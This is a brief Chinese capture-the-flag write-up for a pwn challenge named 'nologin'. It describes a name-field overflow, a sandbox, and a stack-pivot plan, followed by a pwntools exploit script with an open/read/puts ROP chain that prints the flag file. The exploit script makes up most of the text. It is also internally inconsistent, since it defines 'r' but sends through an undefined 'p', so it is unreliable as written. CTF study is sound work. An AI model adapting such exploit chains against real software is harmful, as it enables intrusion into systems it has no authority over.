没开canary应该是能溢出
没开NX就是写shellcode
libc是2.27的
1是user 2是admin
1的user是一个菜单
2的admin
admin首先开了沙箱,然后就输入名字。
输入的名字会有一个溢出,溢出可以溢出到上一个admin函数那里,可以多溢出25个字节。
我们只能利用栈迁移,再利用一个read的一半,利用寄存器中残留的值进行输入,然后跳过去就可以了。
exp
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
r = process("./nologin")
r.sendlineafter("input>> \n","2")
flag_addr = 0x0602020+0x400
str_addr = 0x0602050
p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8))
p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 )
read_addr = 0x400780
open_addr = 0x4007B0
puts_addr = 0x400730
p_rdi = 0x401173
p_rsi_r15 = 0x401171
p_rdx = 0x6024b0
orw = flat([
p_rdi,flag_addr,
p_rsi_r15,0,0,
open_addr,
p_rdi,4,
p_rsi_r15,str_addr,0,
p_rdx,0x40,
read_addr,
p_rdi,str_addr,
puts_addr
])
r.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) )
r.interactive()